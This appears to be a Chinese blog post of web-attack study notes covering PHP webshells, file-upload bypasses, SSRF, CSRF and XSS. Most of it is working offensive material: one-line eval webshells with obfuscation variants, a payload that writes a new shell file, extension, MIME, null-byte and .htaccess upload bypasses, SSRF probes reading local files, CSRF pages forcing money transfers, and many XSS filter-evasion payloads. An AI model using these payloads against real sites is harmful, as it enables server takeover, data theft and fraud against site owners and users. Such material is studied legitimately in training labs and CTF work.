分类 web安全 下的文章

木马的原理

木马的特点有很多,有大也有小,从一句话木马到有各种丰富功能的大马,形式种类各不相同,web木马执行时必须按照中间件支持的web格式进行解析并执行,在使用过程中,黑客会利用外部参数把操作行为传入到web木马中,web木马再见攻击者传入的参数拼接成系统命令并执行,因此需要调用一些关键函数来执行本身的功能

常见的关键函数:

命令执行类:eval\system\popen\exec\shell_exec

  1. eval(phpcode)
  2. system ( string $command , int &$return_var = ? ) : string,执行外部程序,如果有设置return_var,则执行后的返回状态会设置在这个变量里
  3. popen(command,mode),mode可选r只读或者w只写
  4. exec ( string $command , array &$output = ? , int &$return_var = ? ) : string执行外部程序
  5. shell_exec ( string $cmd ) : string通过shell环境执行命令

文件功能类:fopen\opendir\dirname\pathinfo

  1. fopen(filename,mode,include_path,context)打开一个文件或url
  2. opendir(path,context);打开一个目录,并读取里面的内容
  3. dirname(path)返回路径中的目录部分
  4. pathinfo(path,options)以数组的形式返回目录路径、文件名、文件后缀、不包含后缀的文件名

数据库操作类:mysql_query\mysqli_query

一句话木马

一句话木马的实现方式是定义一个执行页面,并设计一个传参点数以接收外部参数,经典一句话木马<?PHP @eval($_POST['a']);?>,用a接收参数并用eval来执行

当然,上面这个木马特征过于明显,我们必须采用别的方法进行伪装,不然防护设备能将木马轻易的拦下

avatar
使用菜刀连接木马

一般情况下,木马会对当前关键函数进行类型隐藏,如拆分结构再拼接等等,另外变形的常用方法有:

  1. 更换执行数据来源
  2. 字符替换或特殊编码
  3. 采用藏匿手段
  4. 混合上述手段

拆分示例:

<?PHP
$a='assert';
array_map("$a",$_requestion['xx']);
?>

//assert ( mixed $assertion , Throwable $exception = ? ) : bool,assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
//array_map(myfunction,array1,array2,array3...)array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。

示例二

<?PHP
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST['xixi']);
?>

更换执行数据来源

  1. 利用GET:get与post近似,但是get可以通过url进行传输
<?PHP $_GET[a]($_GET[b]);?>

传参?a=assert&b=${fputs(fopen(base64_decode(YS5waHA=),w),base64_decode(PD9QSFAgQGV2YWwoJF9QT1NUWyd4eCddOz8pPg==))};
//a.php,<?PHP @eval($_POST['xx'];?)>
这个马执行后会生成一个a.php的马

<?PHP @eval($_GET[$_GET[b]]);?>//?b=cmd&cmd=phpinfo()

<script language="php">@eval_r($_GET[b])</script>
  1. 利用session
<?php
session_start();//启动session
$_POST['code'] && $_SESSION['thecode'] = trim($_POST['code']);
$_SESSION['thecode']&&preg_replace('\'a\'eis,'e'.'v'.'a'.'l'.(base64_decode($_SESSION[\'thecode\']))','a');
?>

字符替换或特殊编码

  1. 字符替换
$a = str_replace(x,"","xxaxxsxxexxrxxt")//把x替换掉变成$a=assert
  1. 字符串组合法隐藏关键字
<?php
$str='asrtes';
$funct=$str[0].$str[1].$str[5].$str[4].$str[2].$str[3];
@funct($_POST['xx']);
?>
  1. 编码绕过

<?php @eval(base64_decode('JF9QT1NUWydjJ10='));?>

顺带一提,带base64的我用蚁剑总是连不上,用菜刀倒是可以,不知道是不是我哪里设置的问题...

  1. <?检查绕过

PHP有几种不同的风格,如果他是通过检查<?来判断的话,那可以采用script风格,如<script language='php'>eval($_POST['c']);</script>

顺便再一提,这里我用上面base64,不管菜刀还是蚁剑都连不上.....

原理

文件上传攻击指攻击者利用web引用对上传文件过滤不严的漏洞,将木马等文件上传到web服务器,以获取webshell

例如,一个PHP服务器,我们想要获取webshell最简单的方式就是将一个PHP木马上传到其上,并要求木马在服务器中以后缀为.PHP保存,之后攻击者就可以访问这个木马文件

avatar
上图为文件上传的整个过程和可能存在攻防的地方

上传主要分为三大步骤:

客户端上传功能:用户提交上传表单,利用HTML格式,实现上传格式的编制,再封装到HTTP包中,开始传输

中间件:

接收客户端提交的HTML表单————将表单内容存储为临时文件————根据安全规范,将临时文件保存为正式文件

服务器:存储和调用

一段中规中矩的客户端文件上传功能的代码

<form id="upload-form" action="upload.php" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="upload" /> <br />
   <input type="submit" value="Upload" />
</form>

服务器端功能代码

<?PHP
if(is_upload_file($_FILES["file"]["tmp_name"]))
{
    $upfile=$_FILES["file"];
    $name=$upfile["name"];
    $type=$upfile["type"];
    $size=$upfile["size"];
    $tmp_name=$upfile["tmp_name"];

    $destination="../file/".$name;
    move_uploaded_file($tmp_name,$destination);
}
elese
{
    echo "上传失败";
}
?>

想要进行文件上传攻击需要满足几个条件:

  1. 目标网站具有上传功能
  2. 上传文件能够被web服务器解析执行
  3. 知道文件上传后的存放路径和文件名称
  4. 目标文件可被访问

绕过技术

使用JS脚本进行防护的:

  1. 直接在控制台删除、修改相关代码
  2. 浏览器禁用JS

Apache文件后缀绕过攻击:

Apache的解析顺序是从右往左开始解析文件后缀的,例如1.php.xxsxxx,xxsxxx他不认识,就会继续往左读取php

能够替代使用的后缀名:

.php .php3 .php4 .php5 .pht .phtml -> php文件来执行

.asp .aspx .cer -> asp

IIS、Nginx解析漏洞

IIS6.0中,对于目录名中包含.asp字符串的,那么这个目录下所有文件都会按照asp格式解析,如xxx.asp/ccc.jpg,ccc就会给当成asp文件;;;另外,只要文件名中含有.asp;那么这个文件就会被当做asp文件,如xx.asp;.jpg

IIS7.0/IIS7.5/Nginx0.5.*/Nginx0.6.*/Nginx0.7-0.7.65/Nginx0.8-0.8.37中,(IIS:当Fast-CGI开启,)只要任意文件名的URL后面追加字符串/任意文件.php,那么这个文件就会被当成php来解析,可以利用这个来执行代码在当前服务器生成一个木马

另外低版本Nginx可以通过添加%00.php来进行解析攻击
文件类型绕过攻击:

当用户端上传文件的时候,进行抓包,可以看到HTTP包里面有一个Content-Type这个数据段,这个用于定义网络文件的类型和编码,决定浏览器将以什么形式来读取这个文件。

如果服务器端的代码是通过这个来判断文件类型的(使用$_Files"file"),那么可以通过篡改这个值来达成绕过效果

格式:
Content-Type: text/html; charset=utf-8
Content-Type: multipart/form-data; boundary=something

常用格式:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

Content-Type值对照表

另外PHP有一种类似的手法,如果网站使用getimeagesize()来获取图片的长宽高信息,但是非图片没有这些信息,也即如果获取不到想要的信息就会认定他不是图片,不允许上传。我们可以把一个图片的消息和一个webshell合并为一个文件,例如

cat 1.jpg 2.php > 3.php /linux
copy xxx.jpg /a + xxxxx.php /b mm.php

这样函数就能识别到信息然后放行,同时webshell的后缀php也能被解析成脚本文件

大小写混写:

例如将php写成Php,windows不区分大小写,但是linux严格区分,这点需要注意

00文件截断

PHP中%00表示结束符,会把00之后的所有字符都删除,当PHP版本小于5.3.4且magic_quotes_gpc为off状态,我们可以使用这种方式来绕过,例如1.php%00.jpg,在大多数情况下,我们会使用hex形式的%00(bp右键--convert selection--url--url-decode),但是需要注意,这种方法写的文件名在到达$_FILES"file"的时候,00后面的内容已经被截断了,所以过不了这里的检测,所以00截断只能过前面的,过不了后端的检测

但是如果我们在抓包的时候发现文件保存路径暴露了,那我们可以在此处进行截断,例如uploads/xxx.php%00,这里才是决定文件最终命名的地方

另外在php5.3.7之前,shell.php空格.jpg,这里的空格也会被当做终止符号

一篇关于00截断的好文

竞争条件攻击

如果一个网站的判断逻辑是先上传再检查,那么,可以利用这个时间差来进行上传漏洞攻击

<?PHP
fputs(fopen('../shell.php','w'),'<?PHP @eval($_POST[a])?>');
?>

@是忽略错误,eval()可以把字符串作为脚本来执行。

这个脚本的意思是,打开shell.php并把后面的那句马写进去

特殊文件名构造
构造shell.php.空格、shell.php.、shell.php_,windows并不能识别上述后缀机制,后自动去掉.和_,这样可以帮助绕过黑名单

图片木马:
针对对于文件内容的检测,一种是类似上面文件类型绕过类似的,另外,如果检测的是文件头,那么,我们可以修改文件头,先对前面20字节进行替换,后面再插入一句话木马,例如在内容前面添加GIF89a,可以被判定为gif类型

如果当服务器会对文件进行二次渲染,那么需要利用特性来构造木马

二次渲染木马相关博客

avatar

.htaccess文件解析攻击

apache独有,可以配置使得其他一些奇奇怪怪的东西也能被当做php来解析执行

<FileMatch "xx">
SetHandler application/x-httpd-php
</FileMatch>

做出这种修改后,xx便能够被当做php来执行

原理

SSRF服务器端请求伪造,由攻击者构造请求,并由服务端来发起请求的安全漏洞,因为请求是服务端发起的,所以服务端能够请求到与自身相连而与外网隔离的内部系统,成因是因为服务端提供了从其他服务器应用获取数据的功能但没有对目标地址做过滤和限制

常见攻击目标

图片加载与下载功能
本地处理功能
各类辅助功能
图片、文章收藏功能等

主要攻击方式

端口扫描,获取banner信息(banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息)
攻击运行在内网或者本地的应用程序
对内网Web引用进行指纹识别,识别企业内部的资产信息
攻击内外网的Web应用,主要是使用HTTP GET请求就能实现的攻击
利用file协议读取本地文件

例如,某网站的一个代码是这样写的

<?php
function curl($url)
{
// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
}
$url = $_GET['url']; //以get方式获取url的值
curl=($url); //将url的值代入函数curl中执行
?>

探测是否存在mysql服务www.test1.com/ssrf.php?url=192.168.226.100:3306或者类似于http://example.com:8080/dir/images/

获取内网资源www.test1.com/ssrf.php?url=file:///C:/Windows/win.ini

另外,一篇不错的参考文章地址

原理

CSRF,跨站请求伪造,攻击者利用目标用户的身份来执行一些非法的操作,CSRF需要满足两个条件

  1. 目标用户已登录并能够执行相应的网站功能
  2. 目标用户访问了攻击者构造的URL
  3. 后台未对用户业务展开合法性做校验

看到一篇不错的博客,源地址

例如,某网站www.test1.com,他可以进行转账操作,在提交转账申请的时候,他会通过get方式传递两个参数:name和number,以此来确定转账对象和转账金额,假设用户A已经登录了该网站,我们构造一个页面,其代码如下

<html>
<head>
<meta ....... />  
</head>
<body>
<h1>xixi</h1>
<div>
<a href="http://www.test1.com/money.php?name="zhangsan"&number=4000">性感荷官在线发牌</a>
</div>
</html>

如果A这个倒霉蛋点了这个链接,美女荷官没看到,倒是先-4000

如果这个傻瓜网站改进了技术,使用了post,那代码构造稍微复杂一点,需要创建一个隐藏表单,当用户访问的时候自动提交表单到目标连接,不过,如果那个网站使用了$_REQUEST来获取数据的话,那还是使用上面这种也行

<html>
<head>
..
<head>
<body>
<div>
<form action="http://www.test1.com/money.php" name="form" methon="post" role="form">
<input type="hidden" name="name" value="zhangsan">
<input type="hidden" name="number" value="4000">
<input type="submit" value="页面没加载出来?点此刷新"/>
</form>
</div>
</body>
</html>

于是倒霉鬼再次-4000

靶场地址

  1. <script>alert(1)</script>
  2. </textarea><scRipt>alert(1)</scrIpt>
  3. "><script>alert(1)</script>
function render (input) {
  return '<input type="name" value="' + input + '">'
}
  1. <script>alert`1`</script>
function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
  过滤括号
}

5.<img src=x onerror="alert &#40 1 &#41" />

屏蔽括号和反引号,利用HTML属性能够识别ASCII码进行绕过,码后面的;可加可不加

6.--!><img src=x onerror="alert &#40 1 &#41" />

7.

type="image" src=x onerror
="alert(1)"
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}逃逸

8.<img src=x onerror="alert(1)"

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}语法松散,少输一个>也能识别

9.

</style
><img src=x onerror="alert(1)" >
function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

10

http://www.segmentfault.com"></script><script>alert(1)</script>

或者
https://www.segmentfault.com" onload=alert(1)>
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

b.</h1><img src=x onerror="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41">

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}全部转大写,html不在意大小写,js严格区分

c.<svg/onload="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41"

移除script,转大写,用svg
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

d.


alert`1`;
-->
function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}逃逸,利用半个注释号

E.利用古英语ſ来代替s

DVWA xss dom

easy :?default=English"'><script>alert(1)</script>
avatar

mid:可以看到他把<script>给过滤掉了
English"'></option></select><img src=x onerror=alert(1)>

high:采用了白名单,查了下,使用注释绕过English#</option></select><img src="" οnerrοr=alert(/xss/)></option>